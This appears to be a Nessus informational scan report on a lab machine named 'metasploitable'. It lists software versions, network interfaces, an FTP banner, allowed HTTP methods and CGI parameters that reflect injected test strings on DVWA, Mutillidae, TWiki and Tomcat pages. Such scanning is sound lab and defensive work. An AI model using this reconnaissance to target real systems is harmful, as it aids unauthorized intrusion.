## 141394 - Apache HTTP Server Installed (Linux)

### Synopsis

The remote host has Apache HTTP Server software installed.

### Description

Apache HTTP Server is installed on the remote Linux host.

### See Also

https://httpd.apache.org/

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0530 |

### Plugin Information

Published: 2020/10/12, Modified: 2025/09/11

### Plugin Output

tcp/0

```
Path               : /usr/sbin/apache2
Version            : 2.2.8
Associated Package : apache2-mpm-prefork: /usr/sbin/apache2
Managed by OS      : True
Running            : yes

Configs found :
  - /etc/apache2/apache2.conf

Loaded modules :
```

## 48204 - Apache HTTP Server Version

### Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

### Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

### See Also

https://httpd.apache.org/

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0030 |
| XREF | IAVT:0001-T-0530 |

### Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

### Plugin Output

tcp/80/www

```
URL        : http://192.168.50.101/
Version    : 2.2.99
Source     : Server: Apache/2.2.8 (Ubuntu) DAV/2
backported : 1
modules    : DAV/2
os         : ConvertedUbuntu
```

## 156000 - Apache Log4j Installed (Linux / Unix)

### Synopsis

Apache Log4j, a logging API, is installed on the remote Linux / Unix host.

### Description

One or more instances of Apache Log4j, a logging API, are installed on the remote Linux / Unix Host.

The plugin timeout can be set to a custom value other than the plugin's default of 45 minutes via the 'timeout.156000' scanner setting in Nessus 8.15.1 or later.

Note, this plugin runs certain commands differently if the scan is configured to use the 'Attempt Least Privilege' option. If enabled, scan times are expected to increase, especially on hosts with many files.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

### See Also

https://logging.apache.org/log4j/2.x/

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVA:0001-A-0650 |
| XREF | IAVT:0001-T-0941 |

### Plugin Information

Published: 2021/12/10, Modified: 2025/09/11

### Plugin Output

tcp/0

```
  Path                              : /usr/share/java/log4j-1.2.15.jar
  Version                           : 1.2.15
  JMSAppender.class association     : Not Found
  JdbcAppender.class association    : Found
  JndiLookup.class association      : Not Found
  Method                        : Package manager
```

## 39446 - Apache Tomcat Detection

### Synopsis

The remote web server is an Apache Tomcat server.

### Description

Nessus was able to detect a remote Apache Tomcat web server.

NOTE: When paranoia levels are elevated, this plugin will also consider versions obtained from responses with non-200 HTTP status codes.

### See Also

https://tomcat.apache.org/

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0535 |

### Plugin Information

Published: 2009/06/18, Modified: 2025/05/15

### Plugin Output

tcp/8180/www

```
URL        : http://192.168.50.101:8180/
Version    : 5.5
backported : 0
source     : Apache Tomcat/5.5
```

## 34098 - BIOS Info (SSH)

### Synopsis

BIOS info could be read.

### Description

Using SMBIOS and UEFI, it was possible to get BIOS info.

### Solution

N/A

### Risk Factor

None

### Plugin Information

Published: 2008/09/08, Modified: 2024/02/12

### Plugin Output

tcp/0

```
Version      : VirtualBox
Vendor       : innotek GmbH
Release Date : 12/01/2006
UUID         : 048E1747-F318-1242-A306-8951FDA1318F
Secure boot  : disabled
```

## 84574 - Backported Security Patch Detection (PHP)

### Synopsis

Security patches have been backported.

### Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

### See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2015/07/07, Modified: 2024/11/22

### Plugin Output

tcp/80/www

```
Local checks have been enabled.
```

## 47830 - CGI Generic Injectable Parameter

### Synopsis

Some CGIs are candidate for extended injection tests.

### Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:86 |

### Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=%00asanct

-------- output --------
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title> TWiki . Main . asanct   </title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-88 [...]
<base href="http://192.168.50.101/twiki/bin/view/Main/asanct" />
------------------------

+ The 'search' parameter of the /twiki/bin/search/Main/SearchResult CGI :
```

```
/twiki/bin/search/Main/SearchResult?search=%00asanct

-------- output --------
</tr>
</table>
</form>Search: <b> !asanct </b>
<p /><table width="100%" border="0" cellpadding="0" cellspacing="4">
<tr bgcolor="#FFFFC0">
------------------------

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=%00asa
nct

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file .asanct.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=%00asanct

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=.asanct">Toggle Hints</a><
/td><td><a href="./index.php?do=toggle-security&page=.asanct">Toggl
e Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.50.101/twiki/bin/view/Main/WebHome?topic=%00asanct
http://192.168.50.101/twiki/bin/search/Main/SearchResult?search=%00asanct
http://192.168.50.101/mutillidae/?page=%00asanct
```

## 47830 - CGI Generic Injectable Parameter

### Synopsis

Some CGIs are candidate for extended injection tests.

### Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:86 |

### Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

### Plugin Output

tcp/8180/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'foo' parameter of the /jsp-examples/jsp2/el/implicit-objects.jsp CGI :

/jsp-examples/jsp2/el/implicit-objects.jsp?foo=%00asanct

-------- output --------
<u><b>Change Parameter</b></u>
<form action="implicit-objects.jsp" method="GET">
foo = <input type="text" name="foo" value=".asanct">
<input type="submit">
</form>
------------------------

+ The 'foo' parameter of the /jsp-examples/jsp2/el/functions.jsp CGI :
```

```
/jsp-examples/jsp2/el/functions.jsp?foo=%00asanct

-------- output --------
<u><b>Change Parameter</b></u>
<form action="functions.jsp" method="GET">
foo = <input type="text" name="foo" value=".asanct">
<input type="submit">
</form>
------------------------

+ The 'firstname' parameter of the /servlets-examples/servlet/RequestParamExample CGI :

/servlets-examples/servlet/RequestParamExample?firstname=%00asanct

-------- output --------
Parameters in this request:<br>
First Name:
= .asanct<br>
Last Name:
= null
------------------------

+ The 'cookiename' parameter of the /servlets-examples/servlet/CookieExample CGI :

/servlets-examples/servlet/CookieExample?cookiename=%00asanct&cookievalu
e=

-------- output --------
[...] alArgumentException: Cookie name &quot;.asanct&quot; is a reserved token
javax.servlet.http.Cookie.&lt;init&gt;(Cookie.java:140)
CookieExample.doGet(CookieExample.java:88)
------------------------

+ The 'dataname' parameter of the /servlets-examples/servlet/
SessionExample;jsessionid=504448063A732248DEA6CD26C6F16F6C CGI :

/servlets-examples/servlet/SessionExample;jsessionid=504448063A732248DEA
6CD26C6F16F6C?dataname=%00asanct&datavalue=bar

-------- output --------
<P>
The following data is in your session:<br>
.asanct = bar<br>
javax.security.auth.subject = javax.security.auth.Subject [ princi [...]
= bar<br>
------------------------

+ The 'fruit' parameter of the /jsp-examples/checkbox/checkresult.jsp CGI :

/jsp-examples/checkbox/checkresult.jsp?fruit=%00 [...]
```

## 33817 - CGI Generic Tests Load Estimation (all tests)

### Synopsis

Load estimation for web application tests.

### Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

### Plugin Output

tcp/80/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

on site request forgery                  : S=4          SP=4         AP=4         SC=4         AC=4

SQL injection                            : S=888        SP=888       AP=1704      SC=168
 AC=4296
unseen parameters                        : S=1295       SP=1295      AP=2485      SC=245
 AC=6265
local file inclusion                     : S=37         SP=37        AP=71        SC=7
 AC=179
cookie manipulation                      : S=4          SP=4         AP=4         SC=4         AC=4

web code injection                       : S=37         SP=37        AP=71        SC=7
 AC=179
XML injection                            : S=37         SP=37        AP=71        SC=7
 AC=179
format string                            : S=74         SP=74        AP=142       SC=14
 AC=358
script injection                         : S=4          SP=4         AP=4         SC=4         AC=4
```

```
injectable parameter                     : S=74         SP=74        AP=142       SC=14
 AC=358
cross-site scripting (comprehensive test): S=148        SP=148       AP=284       SC=28
 AC=716
cross-site scripting (extended patterns) : S=24         SP=24        AP=24        SC=24        AC=24

directory traversal (write access)       : S=74         SP=74        AP=142       SC=14
 AC=358
SSI injection                            : S=111        SP=111       AP=213       SC=21
 AC=537
header injection                         : S=8          SP=8         AP=8         SC=8         AC=8

HTML injection                           : S=20         SP=20        AP=20        SC=20        AC=20

directory traversal                      : S=925        SP=925       AP=1775      SC=175
 AC=4475
cross-site scripting (quick test)      [...]
```

## 33817 - CGI Generic Tests Load Estimation (all tests)

### Synopsis

Load estimation for web application tests.

### Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

### Plugin Output

tcp/8180/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

directory traversal                      : S=575       SP=575       AP=1000      SC=75
 AC=1050
arbitrary command execution              : S=368       SP=368       AP=640       SC=48
 AC=672
SQL injection                            : S=552       SP=552       AP=960       SC=72
 AC=1008
HTML injection                           : S=35        SP=35        AP=35        SC=35        AC=35

directory traversal (write access)       : S=46        SP=46        AP=80        SC=6         AC=84

persistent XSS                           : S=92        SP=92        AP=160       SC=12
 AC=168
on site request forgery                  : S=7         SP=7         AP=7         SC=7         AC=7

cross-site scripting (comprehensive test): S=92        SP=92        AP=160       SC=12
 AC=168
blind SQL injection (4 requests)         : S=92        SP=92        AP=160       SC=12
 AC=168
```

```
injectable parameter                     : S=46         SP=46        AP=80        SC=6         AC=84

XML injection                            : S=23         SP=23        AP=40        SC=3         AC=42

SQL injection (2nd order)                : S=23         SP=23        AP=40        SC=3         AC=42

local file inclusion                     : S=23         SP=23        AP=40        SC=3         AC=42

format string                            : S=46         SP=46        AP=80        SC=6         AC=84

SSI injection                            : S=69         SP=69        AP=120       SC=9
 AC=126
script injection                         : S=7          SP=7         AP=7         SC=7         AC=7

HTTP response splitting                  : S=63         SP=63        AP=63        SC=63        AC=63

blind SQL injection                    [...]
```

# 182774 - Curl Installed (Linux / Unix)

## Synopsis

Curl is installed on the remote Linux / Unix host.

## Description

Curl (also known as curl and cURL) is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182774' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

## See Also

https://curl.se/

## Solution

n/a

## Risk Factor

None

## Plugin Information

Published: 2023/10/09, Modified: 2025/09/11

## Plugin Output

tcp/0

```
  Path           : curl 7.18.0-1ubuntu2.3 (via package manager)
  Version        : 7.18.0
  Managed by OS  : True
```

## 10028 - DNS Server BIND version Directive Remote Version Detection

### Synopsis

It is possible to obtain the version number of the remote DNS server.

### Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

### Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0583 |

### Plugin Information

Published: 1999/10/12, Modified: 2022/10/12

### Plugin Output

udp/53/dns

```
Version : 9.4.2
```

## 11002 - DNS Server Detection

### Synopsis

A DNS server is listening on the remote host.

### Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

### See Also

https://en.wikipedia.org/wiki/Domain_Name_System

### Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

### Risk Factor

None

### Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

### Plugin Output

tcp/53/dns

## 11002 - DNS Server Detection

### Synopsis

A DNS server is listening on the remote host.

### Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

### See Also

https://en.wikipedia.org/wiki/Domain_Name_System

### Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

### Risk Factor

None

### Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

### Plugin Output

udp/53/dns

## 72779 - DNS Server Version Detection

### Synopsis

Nessus was able to obtain version information on the remote DNS server.

### Description

Nessus was able to obtain version information by sending a special TXT record query to the remote host.

Note that this version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0030 |
| XREF | IAVT:0001-T-0937 |

### Plugin Information

Published: 2014/03/03, Modified: 2024/09/24

### Plugin Output

tcp/53/dns

```
DNS server answer for "version.bind" (over TCP) :

  9.4.2
```

## 35371 - DNS Server hostname.bind Map Hostname Disclosure

### Synopsis

The DNS server discloses the remote host name.

### Description

It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain.

### Solution

It may be possible to disable this feature. Consult the vendor's documentation for more information.

### Risk Factor

None

### Plugin Information

Published: 2009/01/15, Modified: 2011/09/14

### Plugin Output

udp/53/dns

```

The remote host name is :

metasploitable
```

## 55472 - Device Hostname

### Synopsis

It was possible to determine the remote system hostname.

### Description

This plugin reports a device's hostname collected via SSH or WMI.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/06/30, Modified: 2025/08/25

### Plugin Output

tcp/0

```

  Hostname : metasploitable
    metasploitable (hostname command)
```

## 54615 - Device Type

### Synopsis

It is possible to guess the remote device type.

### Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/05/23, Modified: 2025/03/12

### Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 100
```

## 25203 - Enumerate IPv4 Interfaces via SSH

### Synopsis

Nessus was able to enumerate the IPv4 interfaces on the remote host.

### Description

Nessus was able to enumerate the network interfaces configured with IPv4 addresses by connecting to the remote host via SSH using the supplied credentials.

### Solution

Disable any unused IPv4 interfaces.

### Risk Factor

None

### Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

### Plugin Output

tcp/0

```

The following IPv4 addresses are set on the remote host :

 - 192.168.50.101 (on interface eth0)
 - 127.0.0.1 (on interface lo)
```

## 25202 - Enumerate IPv6 Interfaces via SSH

### Synopsis

Nessus was able to enumerate the IPv6 interfaces on the remote host.

### Description

Nessus was able to enumerate the network interfaces configured with IPv6 addresses by connecting to the remote host via SSH using the supplied credentials.

### Solution

Disable IPv6 if you are not actually using it. Otherwise, disable any unused IPv6 interfaces.

### Risk Factor

None

### Plugin Information

Published: 2007/05/11, Modified: 2025/04/28

### Plugin Output

tcp/0

```

The following IPv6 interfaces are set on the remote host :

 - fe80::a00:27ff:fe3d:294 (on interface eth0)
 - ::1 (on interface lo)
```

## 33276 - Enumerate MAC Addresses via SSH

### Synopsis

Nessus was able to enumerate MAC addresses on the remote host.

### Description

Nessus was able to enumerate MAC addresses by connecting to the remote host via SSH with the supplied credentials.

### Solution

Disable any unused interfaces.

### Risk Factor

None

### Plugin Information

Published: 2008/06/30, Modified: 2022/12/20

### Plugin Output

tcp/0

```
The following MAC address exists on the remote host :

  - 08:00:27:3d:02:94 (interface eth0)
```

## 170170 - Enumerate the Network Interface configuration via SSH

### Synopsis

Nessus was able to parse the Network Interface data on the remote host.

### Description

Nessus was able to parse the Network Interface data on the remote host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/01/19, Modified: 2025/02/11

### Plugin Output

tcp/0

```
lo:
  IPv4:
    - Address : 127.0.0.1
        Netmask : 255.0.0.0
  IPv6:
    - Address : ::1
        Prefixlen : 128
        Scope : host
eth0:
  MAC : 08:00:27:3d:02:94
  IPv4:
    - Address : 192.168.50.101
        Netmask : 255.255.255.0
        Broadcast : 192.168.50.255
  IPv6:
    - Address : fe80::a00:27ff:fe3d:294
        Prefixlen : 64
        Scope : link
```

## 179200 - Enumerate the Network Routing configuration via SSH

### Synopsis

Nessus was able to retrieve network routing information from the remote host.

### Description

Nessus was able to retrieve network routing information the remote host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/08/02, Modified: 2023/08/02

### Plugin Output

tcp/0

```
Gateway Routes:
  eth0:
    ipv4_gateways:
      192.168.50.1:
        subnets:
         - 0.0.0.0/0
Interface Routes:
  eth0:
    ipv4_subnets:
     - 192.168.50.0/24
    ipv6_subnets:
     - fe80::/64
```

## 168980 - Enumerate the PATH Variables

### Synopsis

Enumerates the PATH variable of the current scan user.

### Description

Enumerates the PATH variables of the current scan user.

### Solution

Ensure that directories listed here are in line with corporate policy.

### Risk Factor

None

### Plugin Information

Published: 2022/12/21, Modified: 2025/09/11

### Plugin Output

tcp/0

```
Nessus has enumerated the path of the current scan user :

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/X11R6/bin
```

## 35716 - Ethernet Card Manufacturer Detection

### Synopsis

The manufacturer can be identified from the Ethernet OUI.

### Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

### See Also

https://standards.ieee.org/faqs/regauth.html

http://www.nessus.org/u?794673b4

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

### Plugin Output

tcp/0

```

The following card manufacturers were identified :

08:00:27:3D:02:94 : PCS Systemtechnik GmbH
```

## 86420 - Ethernet MAC Addresses

### Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

### Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2015/10/16, Modified: 2025/06/10

### Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:
  - 08:00:27:3D:02:94
```

## 49704 - External URLs

### Synopsis

Links to external sites were gathered.

### Description

Nessus gathered HREF links to external sites by crawling the remote web server.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

### Plugin Output

tcp/80/www

```

104 external URLs were gathered on this web server :
URL...                                  - Seen on...


http://TWiki.org/                       - /twiki/bin/view/Main/WebHome
http://TWiki.org/cgi-bin/view/Main/TWikiAdminGroup - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/Main/TWikiUsers - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AlWilliams - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AndreaSterbini - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/BookView - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChangePassword - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChristopheVermeulen - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ColasNahaboo - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/CrisBailiff - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DavidWarman - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DontNotify - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FileAttachment - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FormattedSearch - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/HaroldGottschalk - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/InterwikiPlugin - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnAltstadt - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnTalintyre - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KevinKinnell - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KlausWriessnegger - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingTopics - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingWebs - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManpreetSingh - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NewUserTemplate - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NicholasLee - /twiki/TWikiHistory.html
http://TWiki.org/cgi- [...]
```

## 49704 - External URLs

### Synopsis

Links to external sites were gathered.

### Description

Nessus gathered HREF links to external sites by crawling the remote web server.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

### Plugin Output

tcp/8180/www

```
112 external URLs were gathered on this web server :
URL...                                   - Seen on...


http://192.168.50.101:8180/admin/error.jsp - /admin/j_security_check
http://192.168.50.101:8180/admin/login.jsp - /admin/
http://ant.apache.org                    - /tomcat-docs/manager-howto.html
http://ant.apache.org/bindownload.cgi    - /tomcat-docs/building.html
http://apache.apache.org/                - /tomcat-docs/appdev/index.html
http://apr.apache.org/                   - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html - /tomcat-docs/config/ajp.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatefile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationpath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatechainfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/howto/ssi.html#basicssidirectives - /tomcat-docs/ssi-howto.html
http://issues.apache.org/bugzilla/buglist.cgi?
bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_status=RESOLVED&resolution=LATER
&bugidtype=include&product=Tomcat+5&cmdtype=doit&order=Importance - /
http://issues.apache.org/bugzilla/show_bug.cgi?id=22679 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=34643 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=37668 - /tomcat-docs/config/context.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=38217 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=39013 - /tomcat-docs/config/context.html
http://jakarta.apache.org/commons        - /tomcat-docs/jndi-resources-howto.html
http://jakarta.apache.org/commons/dbcp/configuration.html - /tomcat-docs/jndi-datasource-examples
 [...]
```

## 10092 - FTP Server Detection

### Synopsis

An FTP server is listening on a remote port.

### Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0030 |
| XREF | IAVT:0001-T-0943 |

### Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

### Plugin Output

tcp/21/ftp

```
The remote FTP banner is :

220 (vsFTPd 2.3.4)
```

## 43111 - HTTP Methods Allowed (per directory)

### Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

### Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

### See Also

http://www.nessus.org/u?d9c03a9a

http://www.nessus.org/u?b019cbdb

https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

### Plugin Output

tcp/80/www

```
Based on the response to an OPTIONS request :

  - HTTP methods COPY DELETE GET HEAD LOCK MOVE OPTIONS POST PROPFIND
    PROPPATCH TRACE UNLOCK are allowed on :

    /dav

  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

    /doc
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
    /dvwa/dvwa/includes/DBMS
    /dvwa/dvwa/js
    /icons
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
    /test
    /test/testoutput
    /twiki


Based on tests of each method :

  - HTTP methods ACL BASELINE-CONTROL BCOPY BDELETE BMOVE BPROPFIND
    BPROPPATCH CHECKIN CHECKOUT COPY DEBUG DELETE GET HEAD INDEX
    LABEL LOCK MERGE MKACTIVITY MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS
    ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
    RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
    UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

    /cgi-bin
    /twiki/bin

  - HTTP methods COPY DELETE GET HEAD MKCOL MKWORKSPACE MOVE NOTIFY
    OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
    RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
    UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

    /dav

  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

    /
    /doc
    /dvwa
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
    /dvwa/dvwa/includes/DBMS
    /dvwa/dvwa/js
    /icons
    /mutillidae
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
    /phpMyAdmin
    /test
    /test/testoutput
    /twiki

  - Invalid/unknown HTTP methods are allowed on :

    /cgi-bin
    /dav
    /twiki/bin
```

## 43111 - HTTP Methods Allowed (per directory)

### Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

### Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

### See Also

http://www.nessus.org/u?d9c03a9a

http://www.nessus.org/u?b019cbdb

https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

### Plugin Output

tcp/8180/www

```
Based on the response to an OPTIONS request :

  - HTTP methods  DELETE  HEAD  OPTIONS  POST  PUT  TRACE GET
    are allowed on :

    /admin/error.jsp
    /host-manager
    /jsp-examples
    /jsp-examples/cal
    /jsp-examples/checkbox
    /jsp-examples/colors
    /jsp-examples/dates
